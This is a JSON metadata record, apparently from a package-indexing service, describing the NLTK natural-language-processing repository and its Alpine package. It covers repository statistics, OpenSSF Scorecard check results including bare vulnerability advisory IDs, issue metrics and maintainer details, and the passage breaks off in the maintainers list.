{"id":368187,"url":"https://github.com/nltk/nltk","last_synced_at":"2026-06-20T13:02:20.477Z","repository":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2026-06-05T10:24:33.000Z","size":354785,"stargazers_count":14639,"open_issues_count":269,"forks_count":3010,"subscribers_count":442,"default_branch":"develop","last_synced_at":"2026-06-05T22:05:12.136Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2026-06-05T20:28:59.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":49,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34135197,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-10T02:00:07.152Z","response_time":89,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"nltk","name":"Natural Language Toolkit","uuid":"124114","kind":"organization","description":"","email":null,"website":"http://nltk.org","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/124114?v=4","repositories_count":10,"last_synced_at":"2024-03-25T20:23:21.452Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/nltk","funding_links":[],"total_stars":14866,"followers":264,"following":0,"created_at":"2022-11-02T16:31:24.682Z","updated_at":"2024-03-25T20:23:21.875Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk/repositories"},"packages":[{"id":11139453,"name":"py3-nltk","ecosystem":"alpine","description":"Natural Language Toolkit","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-11-21T22:17:49.000Z","latest_release_published_at":"2024-11-21T22:17:49.000Z","latest_release_number":"3.9.1-r0","last_synced_at":"2026-04-01T01:42:31.721Z","created_at":"2024-12-07T12:54:57.193Z","updated_at":"2026-04-01T01:42:31.721Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.21/community/x86_64/py3-nltk","install_command":"apk add py3-nltk","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2025-10-17T21:12:21.575Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-nltk?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.21","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_pull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-nltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-nltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-nltk/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-nltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-nltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-nltk/codemeta","maintainers":[{"uuid":"wpsinatra@gmail.com","login":null,"name":"Will Sinatra","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","packages_count":389,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Will 